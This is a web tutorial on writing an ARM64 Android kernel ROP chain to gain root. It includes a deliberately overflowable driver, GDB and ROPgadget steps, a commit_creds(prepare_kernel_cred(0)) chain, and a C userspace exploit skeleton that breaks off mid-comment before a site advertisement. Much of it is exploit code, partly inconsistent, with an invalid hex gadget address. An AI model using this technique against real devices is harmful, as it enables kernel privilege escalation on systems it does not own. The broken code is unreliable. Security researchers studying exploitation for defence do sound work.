Android Hacking, Sandboxing, & Security Exploits

Crafting Your First ARM64 Android Kernel ROP Chain: A Step-by-Step Tutorial

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction to Android Kernel ROP on ARM64

In the challenging landscape of Android security, kernel vulnerabilities often represent the deepest and most impactful attack vectors. When a kernel vulnerability such as a buffer overflow allows an attacker to control the instruction pointer, Return-Oriented Programming (ROP) becomes a crucial technique for achieving arbitrary code execution or privilege escalation. This tutorial will guide you through the fundamental steps of crafting your first ARM64 ROP chain within the context of an Android kernel exploit.

Understanding ARM64 ROP for kernel exploitation is essential for security researchers and penetration testers aiming to bypass modern kernel protections. We’ll focus on a common goal: elevating privileges to root by calling kernel functions like prepare_kernel_cred and commit_creds.

Prerequisites for Kernel ROP Development

Before diving deep, ensure you have the following:

  • Rooted Android Device or Emulator: With kernel debugging capabilities (e.g., `adb root`, `adb shell`).
  • Kernel Source Code: Matching your device’s kernel version. This is critical for finding symbols and understanding kernel structures.
  • ARM64 Toolchain: For compiling kernel modules or userspace exploits.
  • GDB (GNU Debugger): Configured for remote ARM64 kernel debugging.
  • Understanding of ARM64 Assembly: Familiarity with calling conventions, registers (x0-x30), and common instructions.
  • Knowledge of Kernel Memory Layout: KASLR (Kernel Address Space Layout Randomization) will be a factor, but for this tutorial, we’ll assume a simplified or de-randomized environment for clarity.

Understanding ARM64 ROP Fundamentals

ROP chains on ARM64 leverage existing instruction sequences (gadgets) within the kernel’s executable memory. Unlike x86/x64, ARM64 function calls typically pass the first eight arguments in registers x0 through x7, and the return address is stored in x30 (Link Register, LR). The stack is primarily used for local variables and saving registers.

A typical ROP gadget sequence often looks like this:

  • An instruction sequence that performs a useful operation (e.g., loading a value into a register, performing arithmetic).
  • A ret (return) instruction, which in ARM64 is typically `blr x30` or `ret`, taking the value from x30 to jump to the next address in your ROP chain.

Our goal is to control x30 to pivot through our crafted chain of gadgets.

Identifying a Hypothetical Kernel Vulnerability

For demonstration, let’s imagine a simple buffer overflow vulnerability in a custom kernel module’s `ioctl` handler. This handler copies user-supplied data into a fixed-size kernel buffer without proper bounds checking.

// drivers/misc/my_vulnerable_driver.c
static ssize_t my_vulnerable_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
{
char kernel_buffer[64]; // Fixed-size buffer
if (count > sizeof(kernel_buffer) + 8) { // Simulate overflow beyond buffer and saved LR
// In a real scenario, this check might be missing or flawed
}
if (copy_from_user(kernel_buffer, buf, count)) {
return -EFAULT;
}
return count;
}

If `count` exceeds 64 bytes, and particularly if it exceeds `64 + sizeof(void*)` bytes, we can overwrite the saved Link Register (LR) on the stack, allowing us to control the return address and thus initiate our ROP chain.

Kernel Debugging Setup and Symbol Discovery

To build a ROP chain, we need kernel function addresses and gadget addresses. This requires debugging information.

1. Extracting Symbols from `vmlinux`

Obtain the `vmlinux` file from your kernel build, ideally with debugging symbols. Load it into GDB:

aarch64-linux-gnu-gdb path/to/vmlinux

Connect GDB to your device’s kernel (e.g., via `kgdboc` or `qemu -s -S`):

(gdb) target remote :1234
(gdb) add-symbol-file path/to/your/module.ko 0xffffffffc0000000 // If module is not in vmlinux

2. Finding Key Function Addresses

We need the addresses of `prepare_kernel_cred` and `commit_creds`:

(gdb) p prepare_kernel_cred
$1 = {<text variable size 128>} 0xffffffc000084f70 <prepare_kernel_cred>
(gdb) p commit_creds
$2 = {<text variable size 96>} 0xffffffc000085110 <commit_creds>

Note: These addresses will be different on your system due to KASLR. We assume we’ve either bypassed KASLR or are working with a known kernel base address for this tutorial.

Gadget Discovery for ARM64 ROP

Gadgets are instruction sequences ending with a control flow instruction (typically `ret` or `blr x30`) that we can chain together. We need gadgets to:

  • Load constant values into registers (e.g., `x0 = 0`).
  • Pop values from the stack into registers.
  • Call functions whose addresses we know.

Tools like ROPgadget (with ARM64 support) or manual disassembly can help.

$ ROPgadget --binary /path/to/vmlinux --arm64 --ropchain
# Example Gadget:
0xffffffc000123456: ldr x0, [sp, #0x8] ; ldp x29, x30, [sp], #0x10 ; ret

A very common and useful gadget is one that pops a value into `x0` and then returns. Due to ARM64’s calling convention, we often need to carefully manage registers `x0` through `x7` and `x30`.

For this example, we’ll look for specific gadgets:

  1. `pop x0; ret` equivalent: A sequence that takes a value from the stack and moves it into `x0`, then returns. A common pattern is `ldr x0, [sp, #offset]; …; ret`.
  2. `blr xN` gadget: A gadget to call a function whose address is in register `xN`. A `blr x30` is implicit in `ret` but we might need `blr x0` or `blr x1` if our function address is in another register.

Let’s assume we found the following simplified conceptual gadgets (actual gadgets are more complex due to stack frame management):

// Gadget 1: Pop value into X0, then return
// Address: 0xffffffc000abcdef0
// Assembly: ldr x0, [sp, #0x8] ; ldp x29, x30, [sp], #0x10 ; ret

// Gadget 2: Call function whose address is in X1, then return
// Address: 0xffffffc000abcefg1
// Assembly: blr x1 ; ldp x29, x30, [sp], #0x10 ; ret

Note: These are highly simplified. Real gadgets often involve `ldp` (load pair) instructions to restore `x29` (frame pointer) and `x30` (LR) from the stack before returning, correctly adjusting the stack pointer.

Crafting the ROP Chain for Privilege Escalation

Our goal is to achieve `commit_creds(prepare_kernel_cred(0))`. This requires two function calls.

High-Level Plan:

  1. Call `prepare_kernel_cred(0)`. The `0` argument needs to be in `x0`.
  2. Save the return value (a `struct cred *`) from `x0` into a known location or pass it directly to the next call.
  3. Call `commit_creds(struct cred *)` with the saved `struct cred *` in `x0`.

ROP Chain Construction:

Let’s denote gadget addresses as `GADGET1_ADDR` and `GADGET2_ADDR` and kernel function addresses as `PREPARE_K_CRED_ADDR` and `COMMIT_CREDS_ADDR`.

We need a way to put `0` into `x0`, then call `prepare_kernel_cred`. Then, we need to take its return value (which will be in `x0`) and pass it to `commit_creds`.

A common technique is to use a `pop x0; ret` gadget, followed by the function address, then another `pop x0; ret` gadget for the next argument, and so on.

// Our ROP chain will be placed in the buffer after the saved frame pointer (x29) and Link Register (x30).
// The vulnerable buffer is 64 bytes. The stack frame might look like:
// [ ... local vars ... ]
// [ x29 (FP) ]
// [ x30 (LR) ] <-- This is what we overwrite first

long rop_chain[] = {
// 1. Overwrite x30 with address of a gadget to prepare x0 for prepare_kernel_cred(0)
// Let's assume we have a gadget: `mov x0, #0; blr x1; ret` and another: `ldr x1, [sp, #offset]; ret`
// This is more complex than a simple pop. A direct `mov x0, #0` gadget would be ideal.
// Let's assume we find a gadget to set x0 to 0 and then jump to another ROP chain address from stack.

// Simplified Chain for Illustration:
// Address 0: GADGET_POP_X0_ZERO_THEN_JUMP_TO_X1 (Puts 0 into x0, then blr x1 where x1 is next ROP address)
// Address 1: PREPARE_K_CRED_ADDR (This will be loaded into x1 for blr)
// Address 2: GADGET_JUMP_TO_X0_AND_SAVE_X0_TO_STACK (Call prepare_kernel_cred, then save returned cred* from x0 and jump to next)
// Address 3: COMMIT_CREDS_ADDR (This will be loaded into x0 for commit_creds)
// Address 4: GADGET_CALL_X0 (Calls commit_creds with cred* in x0)
// Address 5: Address for kernel_exit / return to userspace

// REALISTIC (but still simplified) ROP chain using generic gadgets:

// Step 1: Call prepare_kernel_cred(0)
// Need to set x0 to 0. Let's assume a gadget `ldr x0, [sp, #X]; ret`
GADGET_POP_X0_ADDR, // Address of `ldr x0, [sp, #0xY]; ldp x29, x30, [sp], #0xZ; ret`
0x0, // Value for x0 (argument for prepare_kernel_cred)
PAD_TO_ALIGN_STACK, // Padding if necessary based on gadget's stack adjustments

PREPARE_K_CRED_ADDR, // Call prepare_kernel_cred. Its return value (cred*) will be in x0.
PAD_TO_ALIGN_STACK, // Padding for return from prepare_kernel_cred, if needed

// Step 2: Call commit_creds(cred*)
// At this point, x0 already holds the `cred*` returned by prepare_kernel_cred.
// We just need to call commit_creds directly.
COMMIT_CREDS_ADDR, // Call commit_creds. Its argument is already in x0.
PAD_TO_ALIGN_STACK, // Padding for return from commit_creds, if needed

// Step 3: Return to userspace or trigger a controlled kernel exit.
// A common approach is to find a gadget that cleans up the stack and returns to userland.
// For simplicity, let's assume a gadget that jumps to a known userspace address or triggers a benign kernel panic.
SOME_KERNEL_EXIT_GADGET_ADDR
};

The `PAD_TO_ALIGN_STACK` values are crucial. Each `ret` or `ldp` instruction in a gadget adjusts the stack pointer. You must ensure the stack pointer is aligned correctly before the next gadget’s instructions are fetched from the stack. The size of the padding depends heavily on the specific gadgets you find.

Userspace Exploit Structure

Your userspace program would open the vulnerable device, prepare the ROP chain, and write it to the device.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

// Kernel addresses (replace with actual addresses from your debug session)
#define PREPARE_K_CRED_ADDR 0xffffffc012345000UL
#define COMMIT_CREDS_ADDR 0xffffffc012346000UL

// Gadget addresses (replace with actual gadget addresses)
// Example: ldr x0, [sp, #0x8] ; ldp x29, x30, [sp], #0x10 ; ret
#define GADGET_POP_X0_ADDR 0xffffffc012347000UL
#define KERNEL_EXIT_ADDR 0xffffffc012348000UL // A gadget to safely exit kernel context

#define OVERFLOW_SIZE (64 + 8) // Buffer size + saved LR size (for 64-bit Pointers)

int main() {
int fd = open("/dev/my_vulnerable_device", O_WRONLY);
if (fd < 0) {
perror("Failed to open device");
return 1;
}

unsigned long rop_chain[30]; // Adjust size as needed
int rop_idx = 0;

// Fill buffer until saved LR
memset(rop_chain, 0x41, OVERFLOW_SIZE);

// Overwrite the saved LR with the start of our ROP chain
// The actual offset depends on stack layout. Assume it's at rop_chain[OVERFLOW_SIZE/sizeof(long)]
// This needs careful calculation or debugging to determine exact offset to LR
unsigned long *lr_overwrite_ptr = (unsigned long*)((char*)rop_chain + OVERFLOW_SIZE);
*lr_overwrite_ptr = GADGET_POP_X0_ADDR;
rop_idx = OVERFLOW_SIZE/sizeof(long) + 1; // Move past the overwritten LR

// ROP chain continues from here, assuming `GADGET_POP_X0_ADDR` cleans up 0x10 bytes from stack
// and takes its

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner